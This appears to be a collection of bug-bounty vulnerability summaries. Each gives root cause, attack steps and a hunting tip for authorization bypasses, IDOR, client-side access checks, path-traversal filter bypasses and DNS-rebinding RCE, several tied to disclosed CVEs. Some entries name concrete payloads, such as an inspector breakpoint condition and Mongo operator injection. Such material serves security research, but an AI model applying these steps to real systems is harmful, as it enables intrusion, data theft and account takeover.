Insight — Whenever a login/redirect decision lives in JS, tamper the inputs/return value in the console. If the server accepts the submission without re-checking, it is a full auth bypass. Grep client JS for functions gating navigation.

Root cause

A third-party service (niche.co) that a victim connected via OAuth mirrors data the primary platform protects (protected tweets), and its own API serves that data to unauthenticated attackers, bypassing the platform's privacy control.

Method

1. Victim connects their (protected) account to the third-party app
2. Attacker queries the third-party's public user API by the victim's handle
3. Response includes internal numeric user/account ids
4. Fetch /users/<id>/posts?accounts=<id> to read the protected content unauthenticated

Insight — Privacy is only as strong as every integration that syncs the data. Enumerate connected apps/partners of a target platform and test whether their APIs re-expose protected content without the platform's access checks.

Root cause

Elastic App Search /api/as/v1/credentials/ does not scope results to the caller's engine access; a Dev role with Limited Engine Access retrieves every API key including the global private read/write key.

Method

1. Map an external identity to the Dev role with Limited Engine Access (no engines selected)
2. Log into App Search as that user
3. GET /api/as/v1/credentials/
4. Read all API keys including the private admin key, then use it to manage/delete keys across engines

Insight — Credential/key-listing endpoints are prime BFLA targets: re-request them from every role tier. A key-management API that returns the global admin key to a scoped user is instant privilege escalation. Also retest such endpoints after a prior fix (this was a bypass of #1168528).

Root cause

Server trusts the client-supplied role field on the org-user PUT and does not forbid changing the owner's role; the only guard was a disabled front-end input.

Method

1. As an invited admin, open the org users page
2. Re-enable the disabled role <select> via devtools (or just craft the request)
3. Send a PUT that changes the OWNER's role to admin
4. Owner loses owner status and is locked out of login

Insight — A 'disabled'/greyed field is not an authorization control. Any role/permission/tenant field in a JSON body should be flipped and replayed - especially operations targeting a higher-privileged user id than your own.

Root cause

Discourse onebox can_see check is `Guardian.can_see || same_category?(target.category, source_topic)`, and source_topic is taken from an attacker-supplied ?source_topic_id; setting it equal to the victim topic id makes same_category() always true, bypassing the guard.

Method

1. As admin create a staff-only topic and note its id
2. As a low-priv user, post a reply containing a link to that topic with ?source_topic_id set to the victim topic id (use port 80/443)
3. The onebox preview renders the private topic's content

Insight — When an authorization predicate ORs a real check with a 'same context' shortcut, hunt for the parameter that feeds the shortcut. If that context object is caller-controlled, self-reference it to force the shortcut true. Preview/embed/onebox/unfurl features are classic sinks.

Root cause

Rocket.Chat server API e2e.updateGroupKey has too-low authorization, letting an attacker insert/overwrite the E2EKey in another user's rocketchat_subscription entry, subverting the end-to-end encryption of a room (CVE-2023-23911).

Method

1. Authenticate as a low-privilege user
2. Call e2e.updateGroupKey targeting a victim's subscription in an encrypted room
3. Overwrite the E2EKey so the room key can be decrypted/controlled by the attacker

Insight — 'End-to-end' features still expose server APIs that manage the keys/metadata. Enumerate key-management and subscription endpoints and test whether a non-member/low-priv user can write another user's key material - a server-side authz gap defeats the whole crypto model.

Root cause

The DELETE /api/invitations/<uuid> endpoint checked the caller could delete invitations in some org they belong to, but not that the target invitation uuid belonged to that org, so a read-only member of org H2 could delete a member of org H1 by supplying H1's invitation uuid.

Method

1. In org H1 (as admin) capture the victim's invitation uuid from the delete-user request.
2. Switch to org H2 where your attacker account has delete rights.
3. Issue DELETE /api/invitations/<victim uuid from H1>.
4. Response 204 - the H1 victim is removed despite your read-only role there.

Insight — When authorization is scoped 'can you delete in an org' but the object id is global (a UUID from another org), you can borrow rights from a tenant you control to act on objects in a tenant you don't. Test cross-org id replay whenever a user belongs to multiple orgs.

Root cause

With apps-in-any-namespace + sharding, the Argo CD application controller fails to enforce the allowed-namespace glob list on reconcile, so an Application CRD in a disallowed namespace is reconciled and deployed (CVE-2023-22736).

Method

1. Enable apps-in-any-namespace and sharding features
2. Create an Application CRD in a namespace outside the configured argocd-* allowlist
3. Trigger an update to the Application (reconcile only fires on update)
4. Controller reconciles it, deploying resources despite the namespace not matching

Insight — When a feature interacts with a scoping allowlist, test the allowlist under every mode toggle (sharding/HA/replicas): enforcement paths are often duplicated and one copy forgets the check. Update-triggered reconciles are the exploitation window.

Root cause

A set of internal/debug web-service endpoints (only one of which is actually used by the frontend) is reachable with no authentication or authorization, exposing read (scrape by date/user-id/profile-id), write (INSERT/UPDATE to the DB), and thus stored-XSS insertion.

Method

1. Enumerate every WS endpoint the app references, not just those the UI calls; the unused ones are the debug/backdoor surface.
2. Hit read endpoints directly with no session: iterate date -> returns user IDs; feed a user ID to the next endpoint -> profile IDs; feed profile ID (+dbName) to a third -> full records (unauthenticated scraping).
3. Hit the INSERT/UPDATE endpoint directly to write DB rows (potential SQL injection through unsanitized fields).
4. Store an XSS payload in a writable profile field, then load the render URL (view=true) to fire it.

Insight — After mapping which endpoints the frontend uses, treat every OTHER discoverable endpoint as unauthenticated debug surface. Chain read endpoints (one leaks the ID the next consumes) to fully scrape, then probe the write endpoints for injection and stored XSS. Redacted here but the pattern is generic.

Root cause

Deck board permissions (edit/share/manage/owner) are enforced only in the client; the server trusts the permission booleans in its own response, so tampering the boards response unlocks the UI and lets the user persist elevated permissions to themselves (CVE-2020-8182).

Method

1. Get a board shared with view-only permission
2. Intercept the GET /apps/deck/boards response and flip the permission flags to true
3. Refresh; open board details -> Sharing; grant yourself Edit/Share/Manage, persisting the escalation server-side

Insight — When the UI shows/hides actions based on flags in the server's response, flip them with response match-and-replace. If the server then accepts the subsequent write, authorization is client-side only and you can persist the privilege.

Root cause

destroySnippet resolves the global ID via GitlabSchema.object_from_id without asserting the object is a Snippet; passing a DiffNote GID (which a Maintainer can admin) flows into Snippets::DestroyService -> Repositories::DestroyService on the note's project.repository, deleting the repository a Maintainer is normally forbidden to delete.

Method

1. As Maintainer, create a merge request and add a diff note; recover the DiffNote numeric id (leaks in Burp when deleting one)
2. Run the destroySnippet mutation passing gid://gitlab/DiffNote/<id>
3. The project's repository is destroyed

Insight — GraphQL global-object-ID resolvers that skip a type assertion enable object-type confusion. Feed a gid:// of a different class you hold some ability over (admin_note ~ admin_snippet) to reach a privileged code path gated only by the ability name, not the concrete type.

Root cause

Host-header allowlist for the Node --inspect debugger permits the reserved 0.0.0.0 address; on macOS browsers resolve http://0.0.0.0 by querying <ComputerName>.local, which an attacker DNS server can rebind to bypass the DNS-rebinding protection.

Method

1. Victim runs node with --inspect (debugger on 0.0.0.0:9229 or 127.0.0.1:9229)
2. Victim visits attacker page which opens http://0.0.0.0:9229
3. macOS browser resolves <ComputerName>.local via attacker DNS -> attacker IP (short TTL)
4. Page rebinds <ComputerName>.local to 127.0.0.1, fetches /json to leak webSocketDebuggerUrl
5. Attacker connects to the debugger WebSocket (not subject to SOP) -> RCE

Insight — When a service binds 0.0.0.0/localhost and 'protects' itself with a Host/IP allowlist, test reserved addresses (0.0.0.0) and OS name-resolution quirks (.local on macOS). 0.0.0.0 routes to loopback locally but is DNS-rebindable in browsers. Non-loopback allowlists must reject 0.0.0.0/8.

Root cause

Adobe ColdFusion restricts external access to CFIDE admin CFM/CFC endpoints, but prefixing the path with /hax/..CFIDE and adding _cfclient=true bypasses the filter, exposing administrator/wizard CFC methods to unauthenticated callers (CVE-2023-38205 / CVE-2023-26347).

Method

1. Identify a ColdFusion server (CFIDE, .cfc/.cfm endpoints)
2. Request the admin/wizard CFC through the /hax/..CFIDE path with _cfclient=true and returnFormat=wddx/json
3. Invoke admin methods (getBuildNumber, wizardHash, etc.) without auth

Insight — When an app blocks a sensitive path prefix (CFIDE, /admin), try path-confusion prefixes (/x/..PREFIX, encoded traversal) plus product-specific flags like _cfclient=true. WAF/route filters keyed on the literal prefix are defeated by an equivalent path the app still resolves.

Root cause

Nextcloud's Secure View (watermark + disable download) relies on the client; the Collabora/OnlyOffice integration exposes the WOPI file URL and access_token in the WebSocket URL, so anyone can call the WOPI endpoint directly and fetch the original unwatermarked file.

Method

1. Open the shared document link protected with hide-download/Secure View
2. In devtools network tab, filter for WOPISrc / the ws:// URL
3. URL-decode the embedded WOPI files URL and access_token
4. Request the WOPI file (optionally append /contents) with the token to download the raw file

Insight — Client-side DRM/watermark/'disable download' controls are bypassable: inspect the document-viewer transport (WOPI/WebSocket) for a file URL + bearer access_token and call the backend directly. Any protection not enforced by a secret shared server-to-server is cosmetic.

Root cause

An Oracle APEX app (ORDS f?p=app:page) exposes a user-management page without an authorization check, so an unauthenticated visitor can create a new user and assign it the administrator role, then log in as admin.

Method

1. Enumerate APEX pages by iterating f?p=<app>:<page> (e.g. 842:9)
2. On the unprotected user-management page, add a new user and assign the Administrator role
3. Retrieve the emailed credentials and log into the admin app (f?p=303)

Insight — In Oracle APEX/ORDS apps, page-level authorization is per-page; iterate the :page component of f?p=app:page to find pages missing an authorization scheme. Sensitive pages (user admin) are often left public even when the app 'requires login'.

Root cause

An internal endpoint (merchant_details.php action=update-merchant) accepts a merchant_id and arbitrary field values without verifying the caller owns/administers that merchant, allowing takeover-grade field changes (email, contact, bank details).

Method

1. POST to merchant_details.php with action=update-merchant and a target merchant_id
2. Supply attacker-controlled email/contact and other fields
3. Server updates the record; changing the notification email enables merchant takeover

Insight — Backend admin/update scripts often trust a supplied object id with no ownership check. Enumerate action=update-* style endpoints and set the id to another tenant; redirecting the account email/contact is a classic path to account/merchant takeover.

Root cause

Authorization is enforced in the front-end route (page 404s for low roles) but the underlying REST endpoint that feeds it performs no role check, so any authenticated user can call it directly and list all API keys.

Method

1. As admin, create the most limited role possible (Analyst, limited engine access) and a user mapped to it
2. Log in as that low-priv user; confirm the credentials UI page 404s
3. Call the backing API endpoint directly and receive all API keys

Insight — Whenever a UI page is hidden/404 for a role, find and hit the JSON endpoint it would have called. Client-side/route-level authz with no server-side role check on the data endpoint is one of the most common high-impact IDOR/BFLA patterns.

Root cause

The user-facing app enforces SSO, but the backend API it calls (a separate Azure App Service host referenced in the front-end JavaScript) has no authentication, so its internal endpoints can be hit directly.

Method

1. Read the app's JS bundle (app.js) to find backend API base URLs
2. Enumerate the API's endpoints (person/adgroup/eventtype list methods)
3. Send bare unauthenticated GETs directly to the Azure host and read internal PII

Insight — The SSO wall is often only on the web app; the API tier (frequently a *.azurewebsites.net / *.appspot.com host you can pull from app.js) is directly reachable and unauthenticated. Always extract backend hostnames from front-end JS and probe them without cookies.

Root cause

A third-party portal restricts self-registration to a corporate email domain using a loose (substring/regex) check, so an attacker-registered look-alike domain satisfies the check. Once in, flat access control grants full platform access including PII.

Method

1. Find a self-registration page gated to a corporate domain (e.g. only @uber.com)
2. Register a domain that satisfies the backend's loose regex (e.g. a domain containing/ending the target string)
3. Create an account with an email on that domain and log in
4. Exploit flat access control to reach staff/customer PII and platform admin

Insight — Third-party/satellite apps outside central SSO are prime targets: their signup domain checks are often loose regex, and post-auth authorization is frequently flat (any authenticated user = full access). Test domain-allowlist bypasses with look-alike/suffix domains you can register.

Root cause

An administrative endpoint referenced in a public JavaScript file requires no authentication and returns application records selected by an id/url parameter, leaking PII (name, phone, email) across ~50k records.

Method

1. Enumerate/read JS files; find admin.js referencing an admin data endpoint
2. Call the endpoint unauthenticated with the id/url parameter
3. Increment the id to iterate all applications (found ~50k)

Insight — Grep JS bundles (admin.js, main.js) for admin/API endpoint paths; front-end route-guards do not protect the backend. Unauthenticated admin API + enumerable record id = bulk PII.

Root cause

The HTML page enforces role checks (shows 'not authorized'), but the AJAX/API endpoint that populates the page does not re-check the caller's permission, so a lower-privileged admin (SaaS admin) can hit the data endpoint directly to read/modify user information. The same class appears when admin-only functions/endpoints are discoverable in client-side JS and callable without server authz.

Method

1. Load the restricted page as a lower-privileged role; note the 'not authorized' block
2. Read the page's JS/network traffic to find the AJAX endpoint that returns the data (also mine bundled JS for admin-only function names/paths)
3. Call the endpoint directly; it returns/accepts data without an authorization check

Insight — UI-level 'access denied' rarely means the data layer is protected. Always pull the AJAX/API endpoints out of the client JS behind a forbidden page and call them directly with a low-privilege session; admin-only routes are frequently only hidden, not authorized.

Root cause

Brave News rendered RSS feed link URLs without restricting the scheme, so a feed item's link could be a chrome:// URL. Clicking it navigated the tab to a privileged browser page (e.g. chrome://settings/resetProfileSettings), bypassing the Same-Origin Policy boundary between web content and privileged UI.

Method

1. Host an RSS feed whose item link is a chrome:// URL
2. Get the victim to add the feed as a Brave News source
3. Reload the New Tab / Brave News; the malicious item renders
4. Clicking the item opens the arbitrary chrome:// page in the tab

Insight — Any feature that renders remote-supplied URLs as clickable navigation (RSS, notifications, deep links, in-app browsers) must whitelist schemes to http/https. Test with chrome://, about:, file://, javascript:, and internal privileged schemes to find SOP/zone boundary breaks.

Root cause

App-password generation is protected by a recent-password-confirmation guard on the settings controller, but a different route reaches the same functionality without that guard, making the confirmation ineffective.

Method

1. Identify a sensitive action protected by a re-authentication/password-confirmation guard
2. Find an alternate endpoint that performs the same action (OCS/API vs settings controller)
3. Call the unguarded route to perform the action without confirmation

Insight — Re-auth/sudo-mode/password-confirmation guards are often attached to one controller. Map every route that produces the same effect (settings UI vs OCS/REST/mobile API) and test the guard on each; unguarded siblings defeat the protection.

Root cause

The endpoint that deletes user access-requests performs no authentication/authorization and takes only a numeric request ID. IDs are sequential, so any record can be enumerated and destroyed.

Method

1. Submit a request form; note the sequential numeric ID returned in the response
2. Send the delete request supplying only that ID; no session required
3. Enumerate the sequential ID space to delete all records

Insight — Whenever a create action returns a small sequential integer, probe the corresponding read/update/delete endpoints unauthenticated. Missing authz on destructive endpoints + enumerable IDs = full data-loss primitive.

Root cause

A SPA (Harbor registry admin UI) decides login state from the API response status; the backend returns 401 but the client trusts it. Rewriting the response to 200/Authorized in Burp flips the UI into an authenticated state, exposing data and functionality.

Method

1. Attempt login (e.g. admin:admin) and enable Burp 'intercept response to this request'
2. Rewrite the auth response HTTP/1.1 401 Unauthorized to HTTP/1.1 200 OK
3. For subsequent gate checks like GET /api/v2.0/users/current, rewrite the 401 JSON error body to a 200 Authorized body
4. UI renders authenticated views / sensitive data

Insight — For SPAs, test whether authorization is enforced server-side per resource or only inferred by the client from a status/flag. Rewrite 401->200 and error bodies to success; if data still renders it is pure client-side gating.

Root cause

Access control is enforced by URL prefix matching, but the server normalizes /junk/..CFIDE/... back to /CFIDE/... after the auth check; a fake leading segment plus .. reaches a restricted CFC endpoint that should require auth. This is the bypass of the CVE-2023-29298 fix.

Method

1. Take a restricted path (e.g. /CFIDE/wizards/common/utils.cfc)
2. Prepend an arbitrary segment and .. so the auth filter sees a different prefix but the router resolves the real path
3. Invoke the remote method

Insight — When authz is done by string-prefix on the raw path but routing normalizes it, inject a throwaway prefix + traversal (/anything/..REAL/PATH). Test the delta between the filter's view of the path and the handler's view.

Root cause

Reporting API keys are static per-org and never auto-rotated when a user is removed from the organization, so a de-provisioned user who noted the API key + report IDs retains access to current and future report data.

Method

1. While invited to an org, enable the Reporting API and record the API key + inventory/campaign/individual report IDs
2. Get removed from the org's Manage Users
3. Continue downloading reports directly via the API using the noted key and report IDs

Insight — Offboarding rarely rotates long-lived API keys or invalidates capability tokens. After access is revoked in the UI, retry any API key/token captured earlier - authz on those endpoints often only checks the key, not current membership.

Root cause

A staging SSO IdP (staging.found.no feeding auth-sandbox.elastic.co via SAML) allowed open self-registration with any email address, including @elastic.co. Internal apps gate access purely on the email domain of the SSO identity, so registering an @elastic.co account grants employee-only apps (e.g. Elastic Cloud Admin QA).

Method

1. Recon exposed staging hosts / SAML SSO entry points from JS/source
2. Use the IdP self-signup to register an account with a privileged email domain (@company.com)
3. Log into the SSO-protected app; domain-based trust grants internal-only apps

Insight — Whenever authorization derives from an email domain, look for any registration surface (staging IdP, sandbox SSO, invite flow) that lets you self-assign that domain without verification. Trusted-domain checks assume the identity provider verifies ownership.

Root cause

GitLab's UI enforced that only schedule owners/maintainers could read scheduled-pipeline variables, but the REST endpoint GET /projects/:id/pipeline_schedules/:id returned the variable names and values to any user - even non-members (CVE-2020-13351).

Method

1. Create a project with a scheduled pipeline containing custom variables (only owner can read them in UI)
2. From a second, unrelated account, call the single-schedule REST endpoint with your own token
3. Read the returned variables[] name/value pairs

Insight — Whenever a UI restricts who can view a field, re-request the same object through the JSON/REST/GraphQL API - authorization is frequently enforced only in the web controller, not the API. Diff UI-visible vs API-returned fields.

Root cause

Open self-registration grants an authenticated foothold, and an internal feature (Oracle E-Business Suite 'vacation rules' user search) exposes the full user list/PII to any logged-in account.

Method

1. Self-register at the Oracle EBS SSO registration page (ibeCAcpSSOReg.jsp)
2. Log in via AppsLocalLogin.jsp
3. Open Vacation Rules > Create > search users
4. Directory of users is disclosed

Insight — After any self-registration, walk every stock feature of the underlying product (Oracle EBS, SharePoint, etc.) for user/people pickers and search widgets - they routinely leak the whole directory to the lowest-priv role.

Root cause

A Meteor RPC method (pinMessage) took a client-supplied message object, checked only that the caller was subscribed to message.rid but never that the target _id actually belonged to that rid, then passed the raw object straight into a Mongo update whose return value contained the message. Because the object is un-type-checked, _id can be a Mongo operator.

Method

1. Obtain any room ID you can access (e.g. from a channel avatar URL).
2. Open the web console and call the RPC with a wildcard regex _id and your accessible rid.
3. The RPC callback returns the pinned message document, including content of messages from private channels you cannot see.

Insight — On Meteor/Mongo (and any JSON API) look for endpoints that accept a whole object and forward it to the DB without check()/type validation - a string field replaced by {$regex}, {$ne}, {$gt} turns an equality lookup into an enumeration oracle. Also test whether a child object ID (message) is verified to belong to the parent (room) you're authorized for, not just that both exist.

Root cause

Access control is enforced with a redirect (Location header / meta refresh / JS redirect) instead of stopping page generation, so the full authenticated HTML/PII is rendered in the response body and only hidden by the browser following the redirect.

Method

1. Request a protected page (mission.php, personnel.php, index.php) as an unauthenticated user.
2. Observe a redirect to the login form, but note the response body still contains the protected content.
3. In Burp, intercept the response and delete the redirect (or set intercept-response and strip the Location/302), or read the body directly.
4. The private/authenticated content is exposed without login.

Insight — Any time a login gate is implemented as a redirect rather than a hard server-side stop, grab the raw response body. Test with curl -s (no -L) and grep for authenticated markers; a 302 whose body is non-empty is the tell.

Root cause

The --experimental-permission model does not disable the built-in node:inspector module; from the inspector an attacker can set a conditional breakpoint inside node:internal/worker to force isInternal=true, creating an 'internal' Worker that bypasses all process-level permission restrictions.

Method

1. Connect an in-process inspector Session (node:inspector/promises).
2. Locate the Worker function source and the line calling 'new WorkerImpl' via Runtime/Debugger domains.
3. Set a conditional breakpoint at that line with condition '((isInternal = true),false)'.
4. Instantiate a Worker with execArgv granting fs/child_process; it runs as internal and ignores the permission model -> read /etc/passwd, execSync.

Insight — Any sandbox/permission layer that leaves a debugging/introspection interface enabled is bypassable: the debugger can rewrite the very state the sandbox relies on. Audit for inspector/debug protocols still reachable under 'locked-down' modes.

Root cause

The debugger's anti-DNS-rebinding whitelist includes 'localhost6', a name usually NOT present in /etc/hosts and therefore resolvable over the network; an attacker who controls DNS responses can rebind localhost6 to 127.0.0.1 and reach the debugger, bypassing the fix for CVE-2018-7160.

Method

1. Get a victim running node --inspect to visit an attacker page.
2. Point the page at http://localhost6:9229 (an allowed Host value) served first from the attacker IP.
3. Serve DNS with a short TTL, then rebind localhost6 to 127.0.0.1 so subsequent same-origin fetches hit the local debugger.
4. Read /json to obtain webSocketDebuggerUrl and connect via WebSocket (not bound by same-origin) -> code execution in the Node process.

Insight — Host/Origin allowlists for localhost protections must only trust names guaranteed to resolve locally (localhost per RFC 6761). Any extra alias not pinned in /etc/hosts (localhost6, *.localhost, made-up names) is a DNS-rebinding hole. WebSocket ignores SOP, making it the pivot of choice.

Root cause

The Meteor server method getUserMentionsByChannel runs check(roomId, String) and confirms the room exists, but never verifies the caller has access to that room, returning all messages the caller was @mentioned in - including from private channels and DMs they cannot otherwise read (CVE-2022-35249).

Method

1. Authenticate as any user (trudy).
2. Obtain a target roomId (guess a DM roomId by concatenating the two user IDs, or leak a channel id).
3. Call getUserMentionsByChannel with that roomId from the browser console.
4. Read messages where you were mentioned in that private room, despite no membership (getMessages on the same id returns 'Not allowed').

Insight — Meteor/RPC-style server methods frequently `check()` the shape/type of arguments and stop there, mistaking input validation for authorization. For every server method or RPC, test it with an object ID you should not be able to read - a missing per-room/per-object permission check is a direct IDOR-style data leak. DM room IDs are often just the concatenation of the two user IDs, so they are guessable.

Root cause

A WordPress theme's ajax.php is directly reachable with no auth/nonce and passes attacker-controlled arrays straight into WP_Query() and add_post_meta(), allowing disclosure of non-public posts and injection of arbitrary numeric post meta.

Method

1. POST to the theme ajax.php with a currentquery[] array to run an arbitrary WP_Query (e.g. post_status=future to read scheduled posts)
2. POST with action=rate to call add_post_meta() with an arbitrary meta_key and numeric value on any post id
3. Abuse meta to flip plugin/theme booleans, counters, timestamps (defacement/info-disclosure) or flood the DB

Insight — Theme/plugin ajax endpoints loaded directly (not via admin-ajax with nonce) are prime unauth sinks. Grep for user input flowing into WP_Query, get_posts, add/update_post_meta, meta_query. Passing a raw array into WP_Query lets you set post_status/meta_query to read hidden content.

Root cause

A test/integration API (documented by an exposed Swagger UI) had no authentication on its routes, exposing document, email-template, and email-message endpoints. The email-message endpoint returned bodies containing login authentication codes, so anyone could read the OTPs needed to log into the associated proposal system.

Method

1. During recon, find the Swagger/OpenAPI docs for the service and enumerate its routes.
2. Hit the unauthenticated collection endpoints directly (Documents, EmailTemplates, EmailMessages).
3. Read sent emails via the EmailMessages route to harvest authentication/activation codes.
4. Use a harvested code at the front-end proposal system login to authenticate as that user.

Insight — Always look for a parallel test/integration/staging API and its Swagger docs — these frequently ship with auth disabled. An endpoint that returns sent-email contents is an auth-bypass primitive: it leaks password-reset/2FA/activation codes, turning info disclosure into full account takeover.

Root cause

GitHub App scoped user-to-server tokens could access/modify most organization-level resources not tied to a repository (users, org-wide Projects V2) through the GraphQL API regardless of the permissions actually granted to the app (CVE-2022-23739).

Method

1. Install a GitHub App with minimal/no relevant permissions
2. Use its user-to-server token against Project V2 / org-level GraphQL queries and mutations
3. Observe access to org-wide projects and users beyond granted scope

Insight — Authorization for API tokens is enforced per-resolver; newer API surfaces (GraphQL Projects V2) frequently miss the scope checks the REST equivalents have. Test least-privilege app/integration tokens against the newest org-level GraphQL endpoints — repo-tied resources may be fine while org-level ones are not.

Root cause

Freshly shipped Fleets API endpoints (/fleets/v1/create, /fleets/v1/delete) omitted the write-permission check that mature endpoints enforce, so a read-only OAuth application could perform state-changing writes.

Method

1. Reverse-engineer the mobile app (apktool/dex2jar/CFR) and grep for the feature name to enumerate its endpoints.
2. Authenticate as a READ-ONLY application.
3. Call the new write endpoint directly and confirm it succeeds (compare against a mature endpoint that correctly returns 'Read-only application cannot POST').

Insight — Newly launched features are the softest attack surface: diff a new endpoint's behavior against an established one of the same class. Test every new write endpoint from a read-only/low-scope token to catch missing permission gates.

Root cause

ISteamAssets APIs verified the partner key had access to the supplied appid, then ignored appid and always operated on app 753 (Steam community market); the authorization key was checked against the wrong (attacker-chosen) resource.

Method

1. Obtain a partner key with legitimate access to any appid
2. Call an ISteamAssets endpoint passing your authorized appid
3. Backend ignores appid and mutates app 753 items (trading cards, market)
4. Reverse wallet spending / modify economy items

Insight — Look for endpoints that authorize against a client-supplied resource id but then act on a different/fixed resource; the 'check this id, use that id' gap grants cross-resource control with a valid low-scope credential.

Root cause

An Organization Owner could change the email address of any member of their org; combined with email-based password reset this yields takeover of that member's account.

Method

1. As an org owner/admin, edit a target member's profile and change their email to an attacker-controlled address.
2. Trigger password reset (or re-verification) which now goes to the attacker email.
3. Complete reset -> control of the victim account.

Insight — On any multi-tenant/org app, test whether an admin/owner role can mutate another user's *email* (or phone) field. Email is the recovery anchor, so email-edit on someone else's account is almost always an ATO primitive. Owners should be blocked from editing member emails.

Root cause

The GitHub Enterprise repository-migration upload endpoint (MigrationFile) lacks an ownership check, so an authenticated user who supplies another user's migration identifier can upload/overwrite that victim's migration archive.

Method

1. Authenticate to the target GitHub Enterprise Server instance
2. Send an upload to the migration file endpoint supplying the victim's migration id
3. Attacker-controlled content overwrites/replaces the victim migration archive, tainting later restores/imports

Insight — Upload/write endpoints are frequently forgotten in authz reviews. A missing check on a write-by-id sink is a supply-chain style IDOR: the victim later imports attacker-controlled data during migration restore.

Root cause

A new /settings/skills feature used an incorrectly scoped query, returning the report titles that OTHER hackers submitted as proof for the same skill set.

Method

1. Exercise newly rolled-out features that aggregate user-submitted proof
2. Inspect the response for records belonging to other users
3. Confirm the query lacks a per-user filter

Insight — Freshly shipped, staged-rollout features often ship with un-scoped queries; check whether responses include other tenants'/users' rows.

Root cause

SCIM user-provisioning API (available to any paid group owner) sets an email as verified without an ownership check, so any downstream service that trusts 'verified @company.com' via the IdP can be accessed.

Method

1. Upgrade a group to a paid plan that unlocks SAML/SCIM
2. Configure SAML SSO and generate a SCIM token
3. POST a SCIM Users request with emails[].value set to any @target-domain address
4. Log in via the group SSO with the chosen externalId -> account has a verified target-domain email
5. Access internal apps that gate on 'signed in with verified @company.com'

Insight — Whenever email 'verified' status can be set through a side channel (SCIM, admin import, invite, OAuth link), the app's email-domain-based authorization is broken. Hunt every path that writes the verified flag, not just the /verify link.

Root cause

In an end-to-end-encrypted file-drop the shared metadata file was provided to every participant and could be overwritten by any of them; a malicious participant could fetch it, tamper with another user's entry and re-upload, making the victim's uploaded file undecryptable (integrity/availability break) and leaking the existence of other drops.

Method

1. Two participants share an E2EE file-drop
2. Victim uploads their encrypted file successfully
3. Attacker (other participant) obtains the shared metadata file
4. Attacker modifies the victim's entry and uploads the tampered metadata, then unlocks
5. Victim's file can no longer be decoded

Insight — When multiple untrusted parties share a mutable state/metadata object, check who can read and overwrite it. Providing the full metadata to every participant (rather than server-side appending only their own entry) lets one party corrupt others' data.

Root cause

The Roll Token API method rotates the token identified by a supplied token ID (UUID) without verifying the caller owns that token, letting an attacker who knows a victim's token UUID invalidate it - DoS for the owner and dependent apps.

Method

1. Obtain a victim's API token ID (UUID)
2. Call the Roll Token API method with that token ID
3. The victim's token is rotated/invalidated, breaking their integrations

Insight — Token/key/session management endpoints (roll, revoke, rotate) must scope to the caller's own objects. Test them with another user's object UUID - lifecycle operations are frequently missing the ownership check that read/use paths have.

Root cause

Ban enforcement redirects unless the URL matches a whitelist; the /membership/ rule was not anchored to the path start, and ASP.NET ignores extra path segments after .aspx/.ashx, so appending /membership/ satisfies the whitelist while still hitting the real handler.

Method

1. Observe banned sessions are redirected unless URL is whitelisted
2. Take any state-changing .aspx/.ashx endpoint
3. Append /membership/ after the extension
4. Request executes normally, bypassing the ban redirect

Insight — Path-based allow/deny rules break on framework path-info quirks (ASP.NET path after .aspx/.ashx, PathInfo, ;matrix params) and unanchored regexes. Also test whether a separate host (api.roblox.com) skips the control entirely.

Root cause

If the app cannot read its config.php (transient NFS/SMB failure, concurrent write, empty read in a multi-container/Docker deployment) it assumes it is not installed and re-serves the first-run installer, letting any anonymous user create a new admin against the existing populated database.

Method

1. Deploy in a shared-config/multi-container setup where config.php can transiently fail to read
2. Trigger or wait for a read failure (NFS timeout, concurrent write, restart)
3. The instance rewrites config.php with installed=false and serves the installer
4. Complete the installer with attacker credentials to gain admin over the existing data

Insight — Apps that infer 'not installed' from a missing/empty config will re-expose the setup wizard on any config-read hiccup. In containerized/shared-storage deployments, test whether an empty/absent config yields the installer while the DB already has tables — a full-takeover primitive. The installer should refuse to run if DB tables/admin users already exist.

Root cause

Cloudflare CASB lacked backend validation that the account re-adding a Microsoft/GitHub/Box integration actually owns it. Knowing a valid tenant_id / enterprise app id / installation_id that a previous customer had connected and later removed, an attacker adds that same integration to their own account and reads its CASB findings.

Method

1. Identify a removed/dangling integration's identifier (Microsoft tenant UUID or domain, GitHub/Box installation_id)
2. Add that integration to your own CASB account; backend never re-verifies ownership
3. Read sensitive CASB findings for the victim org's integration

Insight — When a SaaS lets tenants connect external orgs by an ID, test whether removing and re-adding re-establishes trust without re-proving ownership. Enumerable/guessable installation or tenant IDs turn 'integration' features into cross-tenant data access (classic confused deputy).

Root cause

CVE-2020-8145: UniFi Video's 'backup'/'wizard' configuration-restore endpoints did not verify the caller's privilege level, so low-privileged users (PUBLIC_GROUP/CUSTOM_GROUP) could overwrite the entire application configuration, including creating new administrative users.

Method

1. As a low-privileged user, locate the config backup/restore or setup-wizard endpoints
2. Submit a modified configuration via the restore endpoint
3. Include an added administrative user in the restored config
4. Log in as the new admin

Insight — Backup/restore, import, and setup-wizard endpoints are high-value privesc targets: they rewrite whole-config state and are often exempted from the normal authorization checks. Enumerate /backup, /restore, /wizard, /setup and test them with a low-priv session.

Root cause

monero-wallet-rpc uses HTTP digest auth, which authenticates only the client, not the server. An unprivileged local user pre-binds the RPC port before the victim starts the wallet; the victim's client then connects to the attacker's fake server (create_wallet etc.), and the attacker controls the resulting wallet.

Method

1. As a low-priv/guest local user, run a process that binds the wallet RPC port and speaks the RPC protocol
2. Wait for the victim (or auto-start config) to launch monero-wallet-rpc, which fails silently or the victim's client targets the squatted port
3. Capture/serve wallet commands so new wallets are created under attacker control

Insight — Any localhost service using client-only auth (HTTP digest, bearer to server) is impersonable by whoever binds the port first. Look for missing server authentication / no TLS pinning on local IPC and RPC; recommend mutual auth or OS-level socket ownership checks.

Root cause

The main report-submission path enforces a program's 2FA requirement, rate limits, abuse limits and reporter blacklist; the embedded_submissions endpoint does not, so all those controls are bypassed by submitting through it.

Method

1. Disable 2FA on your account so the normal Submit Report is blocked
2. Grab the program's embedded submission URL from the policy page
3. Submit via /<uuid>/embedded_submissions/new — controls not enforced

Insight — Whenever a control (2FA gate, rate limit, blacklist) is enforced on the primary UI, enumerate ALTERNATE entry points to the same action — embedded/iframe forms, mobile API, legacy endpoints, GraphQL mutations — and re-test each. Controls are frequently attached to one path only.

Root cause

A support/incident-creation feature (ServiceNow-style) lets a low-privileged user set the 'caller' to an arbitrary user and exposes a PII lookup ('i' button) on that field; there is no restriction to admins, enabling targeted phishing-through-the-platform plus PII disclosure.

Method

1. As a normal user, open the incident/case creation page.
2. In the caller / assigned-user field, select any target user; use the info ('i') control to read their PII.
3. Attach a file or craft an 'additional comments' message (phishing lure) and submit the incident on the victim's behalf.
4. Monitor the incident to see when the victim views/responds - the platform lends legitimacy to the lure.

